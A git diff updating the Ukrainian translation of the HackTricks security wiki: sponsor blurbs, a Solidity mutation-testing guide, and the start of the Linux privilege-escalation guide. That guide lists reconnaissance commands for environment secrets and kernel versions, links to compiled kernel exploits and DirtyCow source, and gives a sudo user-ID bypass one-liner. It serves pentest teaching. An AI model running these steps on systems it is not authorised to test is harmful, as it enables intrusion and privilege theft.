diff --git a/src/README.md b/src/README.md
index e5bb62687..bdf401c13 100644
--- a/src/README.md
+++ b/src/README.md
@@ -2,9 +2,9 @@
-_Hacktricks логотипи та motion-дизайн від_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
+_Hacktricks логотипи та моушн-дизайн від_ [_@ppieranacho_](https://www.instagram.com/ppieranacho/)_._
-### Запустіть HackTricks локально
+### Запустити HackTricks локально
```bash
# Download latest version of hacktricks
git clone https://github.com/HackTricks-wiki/hacktricks
@@ -31,7 +31,7 @@ export LANG="master" # Leave master for english
# Run the docker container indicating the path to the hacktricks folder
docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pwd)/hacktricks:/app ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image bash -c "mkdir -p ~/.ssh && ssh-keyscan -H github.com >> ~/.ssh/known_hosts && cd /app && git config --global --add safe.directory /app && git checkout $LANG && git pull && MDBOOK_PREPROCESSOR__HACKTRICKS__ENV=dev mdbook serve --hostname 0.0.0.0"
```
-Ваша локальна копія HackTricks буде **available at [http://localhost:3337](http://localhost:3337)** через <5 хвилин (потрібен час на збірку книги, будьте терплячі).
+Ваша локальна копія HackTricks буде **доступна за адресою [http://localhost:3337](http://localhost:3337)** через <5 хвилин (потрібно збудувати книгу, будь ласка, зачекайте).
## Корпоративні спонсори
@@ -39,11 +39,11 @@ docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pw
-[**STM Cyber**](https://www.stmcyber.com) — відмінна компанія в галузі кібербезпеки, чий слоган — **HACK THE UNHACKABLE**. Вони проводять власні дослідження та розробляють свої hacking tools, щоб **надавати кілька цінних послуг у сфері кібербезпеки**, таких як pentesting, Red teams і тренінги.
+[**STM Cyber**](https://www.stmcyber.com) — відома cybersecurity компанія, чий слоган — **HACK THE UNHACKABLE**. Вони проводять власні дослідження та розробляють власні hacking tools, щоб **надавати кілька цінних cybersecurity services**, таких як pentesting, Red teams та training.
-Ви можете переглянути їхній **блог** на [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
+Ви можете переглянути їхній **blog** за адресою [**https://blog.stmcyber.com**](https://blog.stmcyber.com)
-**STM Cyber** також підтримують open source проєкти з кібербезпеки, такі як HackTricks :)
+**STM Cyber** також підтримує cybersecurity open source проекти, такі як HackTricks :)
---
@@ -51,7 +51,7 @@ docker run -d --rm --platform linux/amd64 -p 3337:3000 --name hacktricks -v $(pw
-[**RootedCON**](https://www.rootedcon.com) — найважливіша подія з кібербезпеки в **Spain** і одна з найзначніших у **Europe**. Маючи **місію популяризації технічних знань**, ця конференція є жвавим майданчиком для зустрічей фахівців з технологій і кібербезпеки з усіх дисциплін.
+[**RootedCON**](https://www.rootedcon.com) — найважливіша подія з cybersecurity в **Spain** і одна з найважливіших у **Europe**. Маючи **місію просування технічних знань**, цей конгрес є киплячою точкою зустрічі для фахівців із технологій та cybersecurity у всіх дисциплінах.
{{#ref}}
https://www.rootedcon.com/
@@ -63,9 +63,9 @@ https://www.rootedcon.com/
-**Intigriti** — **Europe's #1** ethical hacking і **bug bounty platform.**
+**Intigriti** — **Europe's #1** ethical hacking та **bug bounty platform.**
-**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) вже сьогодні та починайте заробляти bounties до **$100,000**!
+Порада щодо bug bounty: **sign up** на **Intigriti**, преміум bug bounty platform створену хакерами для хакерів! Приєднуйтесь до нас на [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) сьогодні і почніть заробляти винагороди до **$100,000**!
{{#ref}}
https://go.intigriti.com/hacktricks
@@ -78,7 +78,7 @@ https://go.intigriti.com/hacktricks
\
-Використовуйте [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), щоб легко будувати та **автоматизувати workflows**, керовані найпотужнішими інструментами спільноти.
+Використовуйте [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks), щоб легко будувати та **automate workflows**, що працюють на базі найпередовіших інструментів спільноти.
Отримайте доступ сьогодні:
@@ -92,13 +92,13 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
-Приєднуйтесь до сервера [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), щоб спілкуватися з досвідченими хакерами і bug bounty мисливцями!
+Приєднуйтесь до сервера [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), щоб спілкуватися з досвідченими хакерами та bug bounty hunters!
-- **Hacking Insights:** Занурюйтесь у контент, що розкриває захоплення та виклики хакінгу
-- **Real-Time Hack News:** Будьте в курсі швидкоплинних новин світу хакінгу в реальному часі
-- **Latest Announcements:** Слідкуйте за новими запусками bug bounties та важливими оновленнями платформи
+- **Hacking Insights:** Занурюйтеся в контент, який розкриває азарт і виклики hacking
+- **Real-Time Hack News:** Будьте в курсі швидкоплинного світу hacking через оперативні новини та аналітику
+- **Latest Announcements:** Отримуйте інформацію про нові запуски bug bounty та важливі оновлення платформ
-**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) та почніть співпрацювати з провідними хакерами вже сьогодні!
+**Приєднуйтесь до нас у** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
---
@@ -106,9 +106,9 @@ https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktr
-**Отримайте хакерський погляд на ваші веб-застосунки, мережу та cloud**
+**Отримайте погляд хакера на ваші веб-додатки, мережу та cloud**
-**Знаходьте й звітуйте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ кастомних інструментів для мапування attack surface, виявлення проблем безпеки, що дозволяють escalatе privileges, і застосовуйте автоматизовані експлойти для збору необхідних доказів, перетворюючи вашу роботу на переконливі звіти.
+**Знаходьте та повідомляйте про критичні, експлуатовані вразливості з реальним бізнес-імпактом.** Використовуйте наші 20+ кастомних інструментів, щоб мапувати attack surface, знаходити проблеми безпеки, що дозволяють escalatе privileges, і застосовувати automated exploits для збору необхідних доказів, перетворюючи вашу роботу на переконливі звіти.
{{#ref}}
https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@@ -120,12 +120,12 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
-**SerpApi** пропонує швидкі та прості real-time APIs для **доступу до результатів пошуку**. Вони скрейплять пошукові системи, керують проксі, вирішують captchas і парсять всю структуровану data для вас.
+**SerpApi** пропонує швидкі та прості real-time APIs для доступу до search engine results. Вони скраплять пошукові системи, обробляють проксі, розв'язують captchas та парсять всю багату структуровану інформацію за вас.
-Підписка на один із планів SerpApi включає доступ до понад 50 різних API для скрейпінгу різних пошукових систем, включно з Google, Bing, Baidu, Yahoo, Yandex та іншими.\
-На відміну від інших постачальників, **SerpApi не просто скрейпить organic results**. Відповіді SerpApi постійно включають усі ads, inline images and videos, knowledge graphs та інші елементи та функції, присутні в результатах пошуку.
+Підписка на один із планів SerpApi включає доступ до понад 50 різних APIs для скрапінгу різних пошукових систем, включаючи Google, Bing, Baidu, Yahoo, Yandex та інші.\
+На відміну від інших провайдерів, **SerpApi не просто скрапить organic results**. Відповіді SerpApi послідовно включають всі ads, inline images і videos, knowledge graphs та інші елементи й функції, присутні у результатах пошуку.
-Серед поточних клієнтів SerpApi — **Apple, Shopify, і GrubHub**.\
+Серед поточних клієнтів SerpApi — **Apple, Shopify, and GrubHub**.\
Для додаткової інформації перегляньте їхній [**blog**](https://serpapi.com/blog/)**,** або спробуйте приклад у їхньому [**playground**](https://serpapi.com/playground)**.**\
Ви можете **create a free account** [**here**](https://serpapi.com/users/sign_up)**.**
@@ -135,7 +135,7 @@ https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktrick
-Опануйте технології та навички, необхідні для проведення vulnerability research, penetration testing та reverse engineering, щоб захищати мобільні застосунки й пристрої. **Оволодійте iOS та Android security** через наші on-demand курси та **отримуйте сертифікацію**:
+Опановуйте технології та навички, необхідні для проведення vulnerability research, penetration testing та reverse engineering для захисту мобільних додатків і пристроїв. **Master iOS and Android security** через наші on-demand курси та **отримайте сертифікацію**:
{{#ref}}
https://academy.8ksec.io/
@@ -147,13 +147,13 @@ https://academy.8ksec.io/
-[**WebSec**](https://websec.net) — професійна компанія з кібербезпеки, що базується в **Amsterdam**, яка допомагає **захищати** бізнеси **по всьому світу** від сучасних загроз кібербезпеки, надаючи **offensive-security services** із **сучасним** підходом.
+[**WebSec**](https://websec.net) — професійна cybersecurity компанія, що базується в **Amsterdam**, яка допомагає захищати компанії по всьому світу від найновіших загроз у сфері cybersecurity, надаючи offensive-security services із сучасним підходом.
-WebSec — міжнародна компанія з офісами в Amsterdam та Wyoming. Вони пропонують **all-in-one security services**, що означає, що роблять усе: Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing та багато іншого.
+WebSec — міжнародна security компанія з офісами в Amsterdam і Wyoming. Вони пропонують **all-in-one security services**, тобто виконують усе: Pentesting, **Security** Audits, Awareness Trainings, Phishing Campagnes, Code Review, Exploit Development, Security Experts Outsourcing та багато іншого.
-Ще одна цікава річ щодо WebSec: на відміну від середнього по галузі, WebSec **дуже впевнені у своїх навичках**, настільки, що **гарантують найкращі результати**, як зазначено на їхньому сайті: "**If we can't hack it, You don't pay it!**". Для додаткової інформації перегляньте їхній [**website**](https://websec.net/en/) та [**blog**](https://websec.net/blog/)!
+Ще одна цікава річ про WebSec — на відміну від середнього по індустрії, WebSec **дуже впевнені у своїх навичках**, настільки, що вони **гарантують найкращі результати**, як зазначено на їхньому сайті: "**If we can't hack it, You don't pay it!**". Для додаткової інформації перегляньте їхній [**website**](https://websec.net/en/) та [**blog**](https://websec.net/blog/)!
-Крім вищезазначеного, WebSec також є **відданим прихильником HackTricks.**
+Окрім вищезазначеного, WebSec також є **відданим прихильником HackTricks.**
{{#ref}}
https://www.youtube.com/watch?v=Zq2JycGDCPM
@@ -165,10 +165,10 @@ https://www.youtube.com/watch?v=Zq2JycGDCPM
-[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) — пошукова система по data breach (leak). \
-Ми надаємо пошук по випадкових рядках (як google) по всім типам витоків даних великим і малим — не тільки по великим — по даних з множинних джерел. \
-Пошук по людям, пошук через AI, пошук організацій, API (OpenAPI) доступ, інтеграція theHarvester, всі функції, які потрібні pentester.\
-**HackTricks продовжує бути чудовою навчальною платформою для всіх нас, і ми пишаємося, що спонсоруємо її!**
+[**Venacus**](https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons) — це search engine для data breach (leak). \
+Ми надаємо пошук за довільними рядками (як Google) по всіх типах data leaks — великих і малих — з даних з різних джерел. \
+Пошук по людям, пошук через AI, пошук по організаціях, API (OpenAPI) доступ, інтеграція theHarvester — усі функції, які потрібні pentester.\
+**HackTricks продовжує бути відмінною навчальною платформою для всіх нас, і ми пишаємося тим, що спонсоруємо її!**
{{#ref}}
https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
@@ -182,12 +182,12 @@ https://venacus.com/?utm_medium=link&utm_source=hacktricks&utm_campaign=spons
**Built for the field. Built around you.**\
-[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) розробляє та проводить ефективні курси з кібербезпеки, створені та ведені експертами індустрії. Їхні програми виходять за межі теорії, щоб забезпечити команди глибоким розумінням та практичними навичками, використовуючи кастомні середовища, що відтворюють реальні загрози. Для індивідуальних запитів щодо навчання зв'яжіться з нами [**тут**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
+[**Cyber Helmets**](https://cyberhelmets.com/?ref=hacktricks) розробляє та проводить ефективні cybersecurity training, створені та керовані практиками з індустрії. Їхні програми виходять за межі теорії, щоб надати командам глибоке розуміння та практичні навички, використовуючи кастомні середовища, які відображають реальні загрози. Для індивідуальних запитів щодо training зв'яжіться з нами [**тут**](https://cyberhelmets.com/tailor-made-training/?ref=hacktricks).
**Що вирізняє їхні тренінги:**
-* Кастомний контент і лабораторії
-* Підтримка провідних інструментів і платформ
-* Розроблені та викладаються практиками
+* Custom-built content and labs
+* Backed by top-tier tools and platforms
+* Designed and taught by practitioners
{{#ref}}
https://cyberhelmets.com/courses/?ref=hacktricks
@@ -199,13 +199,13 @@ https://cyberhelmets.com/courses/?ref=hacktricks
-Last Tower Solutions надає спеціалізовані послуги з кібербезпеки для установ в галузі **Education** та **FinTech**, з акцентом на **penetration testing, cloud security assessments**, та **compliance readiness** (SOC 2, PCI-DSS, NIST). Наша команда включає фахівців сертифікованих OSCP та CISSP, які приносять глибоку технічну експертизу та галузеве розуміння в кожне завдання.
+Last Tower Solutions надає спеціалізовані cybersecurity services для установ у сферах **Education** та **FinTech**, з фокусом на **penetration testing, cloud security assessments** та **compliance readiness** (SOC 2, PCI-DSS, NIST). Наша команда включає професіоналів, сертифікованих OSCP та CISSP, що приносить глибоку технічну експертизу та індустріальну прозорість у кожне залучення.
-Ми виходимо за межі автоматизованих сканувань завдяки **manual, intelligence-driven testing**, адаптованому до середовищ із високими ставками. Від захисту студентських записів до забезпечення безпеки фінансових транзакцій — ми допомагаємо організаціям захищати те, що найважливіше.
+Ми виходимо за межі автоматизованих сканів, використовуючи **manual, intelligence-driven testing**, адаптоване до середовищ з високими ризиками. Від захисту студентських записів до забезпечення безпеки фінансових транзакцій — ми допомагаємо організаціям захищати те, що має найвищу цінність.
_“A quality defense requires knowing the offense, we provide security through understanding.”_
-Будьте в курсі останніх новин у сфері кібербезпеки, відвідавши їхній [**blog**](https://www.lasttowersolutions.com/blog).
+Будьте в курсі останніх подій у cybersecurity, відвідуючи наш [**blog**](https://www.lasttowersolutions.com/blog).
{{#ref}}
https://www.lasttowersolutions.com/
@@ -215,11 +215,11 @@ https://www.lasttowersolutions.com/
### [K8Studio - The Smarter GUI to Manage Kubernetes.](https://k8studio.io/)
-
+
-K8Studio IDE дає змогу DevOps, DevSecOps та розробникам ефективно управляти, моніторити та захищати Kubernetes кластери. Використовуйте наші AI-driven insights, просунуту security framework та інтуїтивний CloudMaps GUI для візуалізації ваших кластерів, розуміння їхнього стану та впевнених дій.
+K8Studio IDE дає змогу DevOps, DevSecOps та розробникам ефективно керувати, моніторити та забезпечувати безпеку Kubernetes clusters. Використовуйте наші AI-driven insights, розширену security framework та інтуїтивний CloudMaps GUI для візуалізації кластерів, розуміння їхнього стану та впевнених дій.
-Крім того, K8Studio **сумісний з усіма основними дистрибуціями kubernetes** (AWS, GCP, Azure, DO, Rancher, K3s, Openshift та інші).
+Крім того, K8Studio сумісний з усіма основними kubernetes distributions (AWS, GCP, Azure, DO, Rancher, K3s, Openshift та інші).
{{#ref}}
https://k8studio.io/
@@ -228,9 +228,9 @@ https://k8studio.io/
---
-## License & Disclaimer
+## Ліцензія та відмова від відповідальності
-Перевірте їх у:
+Перевірте їх тут:
{{#ref}}
welcome/hacktricks-values-and-faq.md
diff --git a/src/SUMMARY.md b/src/SUMMARY.md
index 6d276923d..561fe52fb 100644
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@@ -950,4 +950,4 @@
- [Stealing Sensitive Information Disclosure from a Web](todo/stealing-sensitive-information-disclosure-from-a-web.md)
- [Post Exploitation](todo/post-exploitation.md)
- [Investment Terms](todo/investment-terms.md)
-- [Cookies Policy](todo/cookies-policy.md)
\ No newline at end of file
+- [Cookies Policy](todo/cookies-policy.md)
diff --git a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md
index c61b00e2d..cbe721979 100644
--- a/src/blockchain/smart-contract-security/mutation-testing-with-slither.md
+++ b/src/blockchain/smart-contract-security/mutation-testing-with-slither.md
@@ -1,14 +1,14 @@
-# Mutation Testing for Solidity with Slither (slither-mutate)
+# Мутаційне тестування для Solidity зі Slither (slither-mutate)
{{#include ../../banners/hacktricks-training.md}}
-Mutation testing "tests your tests" by systematically introducing small changes (mutants) into your Solidity code and re-running your test suite. If a test fails, the mutant is killed. If the tests still pass, the mutant survives, revealing a blind spot in your test suite that line/branch coverage cannot detect.
+Мутаційне тестування "перевіряє ваші тести", систематично вносячи невеликі зміни (мутанти) у ваш Solidity-код і повторно запускаючи набір тестів. Якщо тест не проходить — мутант вбито. Якщо тести все ще проходять — мутант виживає, виявляючи сліпу пляму у вашому наборі тестів, яку line/branch coverage не може виявити.
-Key idea: Coverage shows code was executed; mutation testing shows whether behavior is actually asserted.
+Ключова ідея: Coverage показує, що код був виконаний; мутаційне тестування показує, чи поведінка фактично перевірена.
-## Чому покриття може вводити в оману
+## Чому coverage може вводити в оману
-Розгляньте цю просту перевірку порогу:
+Розглянемо цю просту перевірку порогу:
```solidity
function verifyMinimumDeposit(uint256 deposit) public returns (bool) {
if (deposit >= 1 ether) {
@@ -18,39 +18,39 @@ return false;
}
}
```
-Модульні тести, що перевіряють лише значення нижче та вище порогу, можуть досягти 100% покриття рядків/гілок, одночасно не перевіряючи граничну перевірку на рівність (==). Рефакторинг до `deposit >= 2 ether` все одно пройде такі тести, тихо порушивши логіку протоколу.
+Модульні тести, які перевіряють лише значення нижче та вище порогу, можуть досягти 100% покриття рядків/гілок, водночас не перевіряючи граничну рівність (==). Рефакторинг до `deposit >= 2 ether` все ще пройде такі тести, тихо порушивши логіку протоколу.
-Мутаційне тестування виявляє цю прогалину шляхом мутації умови та перевірки, що ваші тести не проходять.
+Mutation testing виявляє цю прогалину — мутує умову й перевіряє, що тести не проходять.
-## Поширені оператори мутацій Solidity
+## Поширені оператори мутації для Solidity
-Slither’s mutation engine застосовує багато невеликих змін, що змінюють семантику, таких як:
-- Заміна операторів: `+` ↔ `-`, `*` ↔ `/`, etc.
+Slither’s mutation engine applies many small, semantics-changing edits, such as:
+- Заміна операторів: `+` ↔ `-`, `*` ↔ `/`, тощо.
- Заміна присвоєння: `+=` → `=`, `-=` → `=`
- Заміна констант: ненульове → `0`, `true` ↔ `false`
-- Заперечення/заміна умови всередині `if`/loops
+- Заперечення/заміна умов всередині `if`/циклів
- Коментування цілих рядків (CR: Comment Replacement)
- Замінити рядок на `revert()`
- Заміна типів даних: наприклад, `int128` → `int64`
-Мета: знищити 100% згенерованих мутантів або обґрунтувати тих, що вижили, чітким поясненням.
+Мета: знищити 100% згенерованих мутантів, або обґрунтувати тих, що вижили, зрозумілими аргументами.
-## Running mutation testing with slither-mutate
+## Запуск mutation testing за допомогою slither-mutate
-Requirements: Slither v0.10.2+.
+Вимоги: Slither v0.10.2+.
-- Перелік опцій та мутаційних операторів:
+- Перелічити опції та мутатори:
```bash
slither-mutate --help
slither-mutate --list-mutators
```
-- Приклад Foundry (зафіксувати результати й вести повний журнал):
+- Foundry приклад (захопити результати та зберегти повний log):
```bash
slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results)
```
-- Якщо ви не використовуєте Foundry, замініть `--test-cmd` на команду, якою ви запускаєте тести (наприклад, `npx hardhat test`, `npm test`).
+- Якщо ви не використовуєте Foundry, замініть `--test-cmd` на те, як ви запускаєте тести (наприклад, `npx hardhat test`, `npm test`).
-Артефакти та звіти за замовчуванням зберігаються в `./mutation_campaign`. Незловлені (вцілілі) мутанти копіюються туди для перевірки.
+Артефакти та звіти зберігаються в `./mutation_campaign` за замовчуванням. Невиловлені (вцілілі) мутанти копіюються туди для перевірки.
### Розуміння виводу
@@ -59,55 +59,55 @@ slither-mutate ./src/contracts --test-cmd="forge test" &> >(tee mutation.results
INFO:Slither-Mutate:Mutating contract ContractName
INFO:Slither-Mutate:[CR] Line 123: 'original line' ==> '//original line' --> UNCAUGHT
```
-- Тег у дужках — це псевдонім мутатора (наприклад, `CR` = Comment Replacement).
-- `UNCAUGHT` означає, що тести пройшли за зміненої поведінки → відсутня перевірка.
+- Тег у дужках — псевдонім мутатора (наприклад, `CR` = Comment Replacement).
+- `UNCAUGHT` означає, що тести пройшли під мутованою поведінкою → відсутнє твердження.
-## Скорочення часу виконання: надавайте пріоритет впливовим мутантам
+## Зменшення часу виконання: пріоритезуйте впливові мутанти
-Кампії з мутацій можуть тривати години або дні. Поради для зменшення витрат:
-- Scope: почніть лише з критичних контрактів/директорій, потім розширюйте.
-- Prioritize mutators: якщо високопріоритетний мутант на рядку вижив (наприклад, цілий рядок закоментовано), можна пропустити менш пріоритетні варіанти для цього рядка.
-- Parallelize tests if your runner allows it; кешуйте залежності/зборки.
-- Fail-fast: зупиняйтеся раніше, коли зміна явно демонструє відсутність перевірки.
+Мутаційні кампанії можуть тривати години або дні. Поради для зменшення витрат:
+- Обсяг: Почніть лише з критичних контрактів/директорій, потім розширюйте.
+- Пріоритезуйте мутатори: Якщо мутант з високим пріоритетом на рядку виживає (наприклад, увесь рядок закоментовано), ви можете пропустити варіанти з нижчим пріоритетом для цього рядка.
+- Паралелізуйте тести, якщо ваш runner дозволяє; кешуйте залежності/збірки.
+- Fail-fast: зупиняйтеся раніше, коли зміна чітко демонструє прогалину в твердженнях.
-## Робочий процес триажу для мутантів, що вижили
+## Робочий процес тріажу для вцілілих мутантів
-1) Огляньте змінений рядок коду та поведінку.
-- Відтворіть локально, застосувавши змінений рядок і запустивши цілеспрямований тест.
+1) Перевірте мутований рядок та його поведінку.
+- Відтворіть локально, застосувавши мутований рядок і запустивши цілеспрямований тест.
-2) Посиліть тести, щоб перевіряти стан, а не лише значення, що повертаються.
+2) Посиліть тести так, щоб вони перевіряли стан, а не лише значення повернення.
- Додайте перевірки меж рівності (наприклад, тест порогу `==`).
- Перевіряйте постумови: баланси, total supply, ефекти авторизації та згенеровані події.
-3) Замініть надто ліберальні mocks на реалістичну поведінку.
-- Переконайтеся, що mocks відображають transfers, failure paths і event emissions, які відбуваються on-chain.
+3) Замініть надмірно дозволяючі моки на реалістичну поведінку.
+- Переконайтеся, що моки примушують виконувати трансфери, шляхи відмови та емісію подій, які відбуваються on-chain.
4) Додайте інваріанти для fuzz-тестів.
-- Наприклад: збереження вартості, невід'ємні баланси, інваріанти авторизації, монотонність total supply там, де це застосовно.
+- Наприклад: збереження вартості, невід'ємні баланси, інваріанти авторизації, монотонна загальна пропозиція там, де це застосовно.
-5) Перезапускайте slither-mutate, доки всі вижилі мутанти не будуть вбиті або явно обґрунтовані.
+5) Повторно запустіть slither-mutate, поки вцілілі мутанти не будуть усунуті або явно виправдані.
-## Приклад: виявлення відсутніх перевірок стану (Arkis protocol)
+## Case study: revealing missing state assertions (Arkis protocol)
-Кампанія мутацій під час аудиту Arkis DeFi protocol виявила вижилі, наприклад:
+Під час аудиту протоколу Arkis DeFi мутаційна кампанія виявила такі вцілілі мутанти:
```text
INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
```
-Закоментування присвоєння не зламало тести, що підтверджує відсутність post-state assertions. Корінь проблеми: код довіряв керованому користувачем `_cmd.value` замість перевіряти фактичні перекази токенів. Атакуючий міг би десинхронізувати очікувані й фактичні перекази, щоб вивести кошти. Наслідок: ризик високої критичності для платоспроможності протоколу.
+Коментування присвоєння не зламало тести, що підтверджує відсутність перевірок стану після виконання. Причина: код покладався на керований користувачем `_cmd.value` замість перевірки фактичних переказів токенів. Атакувальник міг розсинхронізувати очікувані та фактичні перекази, щоб вивести кошти. Наслідок: високий ризик для платоспроможності протоколу.
-Guidance: Вважайте survivors, які впливають на перекази вартості, облік або контроль доступу, високоризиковими, поки їх не вбито.
+Рекомендація: вважайте виживші мутанти, які впливають на перекази вартості, облік або контроль доступу, високоризиковими, доки їх не знищено.
## Практичний чекліст
-- Запустіть цілеспрямовану кампанію:
+- Run a targeted campaign:
- `slither-mutate ./src/contracts --test-cmd="forge test"`
-- Проведіть триаж survivors і напишіть тести/інваріанти, які проваляться при мутованій поведінці.
-- Перевірте баланси, supply, авторизації та події.
-- Додайте тести меж (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
+- Проаналізуйте виживші мутанти та напишіть тести/інваріанти, які проваляться при мутованій поведінці.
+- Перевірте баланси, загальну емісію, авторизації та події.
+- Додайте граничні тести (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
- Замініть нереалістичні mocks; змоделюйте режими відмов.
-- Повторюйте, поки всі mutants не будуть killed або виправдані коментарями та обґрунтуванням.
+- Ітеруйте, поки всі мутанти не будуть знищені або виправдані коментарями та обґрунтуванням.
-## Посилання
+## References
- [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/)
- [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md
index ed3f9ffc0..5f820a796 100644
--- a/src/linux-hardening/privilege-escalation/README.md
+++ b/src/linux-hardening/privilege-escalation/README.md
@@ -6,7 +6,7 @@
### Інформація про ОС
-Почнемо збирати інформацію про запущену ОС
+Почнемо збирати відомості про запущену ОС
```bash
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
@@ -14,38 +14,38 @@ cat /etc/os-release 2>/dev/null # universal on modern systems
```
### Path
-Якщо ви **маєте права на запис у будь-якій директорії в змінній `PATH`**, ви можете hijack деякі бібліотеки або бінарні файли:
+Якщо ви **маєте права запису в будь-якій папці всередині змінної `PATH`**, ви зможете hijack деякі libraries або binaries:
```bash
echo $PATH
```
-### Env info
+### Інформація про env
-Цікава інформація, паролі або API-ключі у змінних оточення?
+Чи містять змінні середовища цікаву інформацію, паролі або API-ключі?
```bash
(env || set) 2>/dev/null
```
### Kernel exploits
-Перевірте версію ядра і чи є exploit, який можна використати для escalate privileges
+Перевірте версію kernel і чи існує exploit, який можна використати для escalate privileges
```bash
cat /proc/version
uname -a
searchsploit "Linux Kernel"
```
-Ви можете знайти хороший список вразливих kernel та деякі вже **compiled exploits** тут: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\
-Інші сайти, де можна знайти деякі **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
+Тут ви можете знайти хороший список вразливих версій ядра та деякі вже **compiled exploits**: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) та [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\
+Інші сайти, де ви можете знайти деякі **compiled exploits**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
-Щоб витягти всі вразливі версії kernel з того сайту, ви можете зробити:
+Щоб витягти всі вразливі версії ядра з того веб-сайту, ви можете зробити так:
```bash
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
```
-Інструменти, які можуть допомогти знайти kernel exploits:
+Інструменти, які можуть допомогти шукати kernel exploits:
[linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
-[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (виконати на victim, перевіряє лише exploits для kernel 2.x)
+[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (запустіть IN victim, перевіряє лише exploits для kernel 2.x)
-Завжди **шукайте версію kernel у Google**, можливо ваша версія kernel вказана в якомусь kernel exploit, і тоді ви будете впевнені, що цей exploit дійсний.
+Завжди **шукайте версію kernel у Google**, можливо ваша версія kernel зазначена в якомусь kernel exploit — тоді ви будете впевнені, що цей exploit дійсний.
### CVE-2016-5195 (DirtyCow)
@@ -59,11 +59,11 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
```
### Sudo версія
-На основі вразливих версій sudo, що з'являються в:
+На основі вразливих версій sudo, що вказані в:
```bash
searchsploit sudo
```
-За допомогою цього grep можна перевірити, чи вразлива версія sudo.
+Ви можете перевірити, чи версія sudo вразлива, використовуючи цей grep.
```bash
sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
```
@@ -75,18 +75,18 @@ sudo -u#-1 /bin/bash
```
### Dmesg signature verification failed
-Перевірте **smasher2 box of HTB** як **приклад** того, як цю vuln можна експлуатувати
+Перевірте **smasher2 box of HTB** як **приклад** того, як цю vuln можна експлуатувати.
```bash
dmesg 2>/dev/null | grep "signature"
```
-### Більш детальне перерахування системи
+### Детальніша системна енумерація
```bash
date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info
```
-## Перелічте можливі засоби захисту
+## Перелічити можливі засоби захисту
### AppArmor
```bash
@@ -131,7 +131,7 @@ docker-security/
## Диски
